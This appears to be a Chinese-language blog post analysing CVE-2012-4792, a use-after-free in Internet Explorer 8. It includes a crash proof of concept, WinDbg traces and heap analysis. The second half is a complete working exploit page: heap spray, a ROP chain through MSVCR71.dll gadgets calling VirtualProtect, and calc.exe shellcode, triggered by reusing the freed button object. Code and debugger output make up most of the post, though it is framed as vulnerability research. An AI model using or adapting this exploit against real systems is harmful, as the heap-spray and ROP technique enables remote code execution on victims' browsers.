跳至內容
Miles
返回

CVE-2012-4792

本文探討 Internet Explorer 8 瀏覽器中一個經典的 Use-After-Free (UAF) 漏洞:CVE-2012-4792。

實驗環境:

POC:

<!DOCTYPE html>
<html>
  <head>
    <script>
      function exploit() {
        var e0 = null;
        var e1 = null;
        var e2 = null;
        try {
          e0 = document.getElementById("a");
          e1 = document.createElement("div");
          e2 = document.createElement("q");
          e1.applyElement(e2);
          e1.appendChild(document.createElement("button"));
          e1.applyElement(e0);
          e2.innerHTML = "";
          e2.appendChild(document.createElement("body"));
        } catch (e) {}
        CollectGarbage();
      }
    </script>
  </head>

  <body onload="exploit()">
    <form id="a"></form>
  </body>
</html>

POC 觸發後的錯誤訊息:

(ecc.f00): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0bec6fa8 ebx=0bdb5f30 ecx=00000052 edx=00000000 esi=00000000 edi=0bec6fa8
eip=6a7ae1cb esp=0859d490 ebp=0859d4e4 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x4d0:
6a7ae1cb 8b07            mov     eax,dword ptr [edi]  ds:002b:0bec6fa8=????????

透過堆疊分析 (Heap Analysis) 可確認,edi 指向的記憶體區域已經被釋放:

0:005> !heap -p -a edi
    address 0bec6fa8 found in
    _DPH_HEAP_ROOT @ 561000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    bef057c:          bec6000             2000
    73d090b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77cc1464 ntdll!RtlDebugFreeHeap+0x0000002f
    77c7ab3a ntdll!RtlpFreeHeap+0x0000005d
    77c23472 ntdll!RtlFreeHeap+0x00000142
    75d114dd kernel32!HeapFree+0x00000014
    6a64dc7a mshtml!CButton::`scalar deleting destructor'+0x0000002f <----

關於此漏洞更詳細的原理分析,可參考:HAPPY NEW YEAR ANALYSIS OF CVE-2012-4792

CVE-2012-4792 WinDbg 分析

在研究此漏洞的利用方式時,筆者發現了一些有趣的資料,特別是《安全保護技術 ASLR 繞過啟示錄》。

其中,安全研究員 tombkeeper 對 Windows 系統細節的深入理解令人印象深刻。

Slides, codes and videos of the talk “DEP/ASLR bypass without ROP/JIT” on CanSecWest 2013

<!DOCTYPE html>
<html>
  <head>
    <script>
      //Fix BSTR spec
      function alloc(bytes, mystr) {
        while (mystr.length < bytes) mystr += mystr;
        return mystr.substr(0, (bytes - 6) / 2);
      }

      block_size = 0x1000;
      padding_size = 0x5f4; //offset to 0x0c0c0c0c inside our 0x1000 hex block
      Padding = "";
      NopSlide = "";
      var Shellcode = unescape(
        "%u59a8%u7c36" + // 0x7c3659a8 : ,# POP EBP # RETN [MSVCR71.dll]
          "%u59a8%u7c36" + // 0x7c3659a8 : ,# skip 4 bytes [MSVCR71.dll]  !!EBP
          "%u098d%u7c36" + // 0x7c36098d : ,# POP EBX # RETN [MSVCR71.dll]
          "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx         !!EBX
          "%u58bc%u7c34" + // 0x7c3458bc : ,# POP EDX # RETN [MSVCR71.dll]
          "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx         !!EDX
          "%u1298%u7c37" + // 0x7c371298 : ,# POP ECX # RETN [MSVCR71.dll]
          "%uc9ba%u7c38" + // 0x7c38c9ba : ,# &Writable location [MSVCR71.dll]    !!ECX
          "%u2eb9%u7c34" + // 0x7c342eb9 : ,# POP EDI # RETN [MSVCR71.dll]
          "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]!!EDI
          "%u9e85%u7c35" + // 0x7c359e85 : ,# POP ESI # RETN [MSVCR71.dll]
          "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]     !!ESI
          "%u4cd6%u7c34" + // 0x7c344cd6 : ,# POP EAX # RETN [MSVCR71.dll]
          "%ua151%u7c37" + // 0x7c37a051 =>al+ef = 0x7c37a040 : ,# ptr to &VirtualProtect()
          "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
          "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
          "%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
          "%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
          "%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
          "%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
          "%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
          "%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c" +
          "%u8b05%u7c34" + // 0x7c348b05 :  # XCHG EAX,ESP # RETN    ** [MSVCR71.dll]
          // Windows exec calc.exe
          "%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f" +
          "%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a" +
          "%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6" +
          "%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3" +
          "%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0" +
          "%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0" +
          "%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300" +
          "%ud5ff%u6163%u636c%u652e%u6578%u4100"
      );

      for (p = 0; p < padding_size; p++) {
        Padding += unescape("%u0c0c");
      }

      for (c = 0; c < block_size; c++) {
        NopSlide += unescape("%u9090");
      }
      NopSlide = NopSlide.substring(
        0,
        block_size - (Shellcode.length + Padding.length)
      );

      var OBJECT = Padding + Shellcode + NopSlide;
      OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb

      var evil = new Array();
      for (var k = 0; k < 150; k++) {
        evil[k] = OBJECT.substr(0, OBJECT.length);
      }
    </script>
    <script>
      function exploit() {
        var junk = unescape("%u0c0c%u0c0c");
        while (junk.length < 0x100) junk += junk;
        var e0 = null;
        var e1 = null;
        var e2 = null;

        try {
          e0 = document.getElementById("a");
          e1 = document.createElement("div");
          e2 = document.createElement("q");
          e1.applyElement(e2);
          e1.appendChild(document.createElement("button"));
          e1.applyElement(e0);
          e2.innerHTML = "";
          e2.appendChild(document.createElement("body"));
        } catch (e) {}
        CollectGarbage();
        e1.title = junk.substring(0, (0x58 - 6) / 2);
      }
    </script>
  </head>
  <body onload="exploit()">
    <form id="a"></form>
  </body>
</html>

漏洞挖掘與利用是一個極具挑戰性的領域。許多網路上公開的技術可能已存在多年,若要發現創新的漏洞利用方法,需要扎實的基本功與持之以恆的努力。在面對挫折時,保持耐心與毅力尤為重要。不斷地學習與實踐,是提升漏洞研究能力的關鍵。


分享文章:

上一篇
OKX 轉帳 USDT 至 Bybit:遺漏 TON Tag 的自助追回過程
下一篇
CVE-2012-1889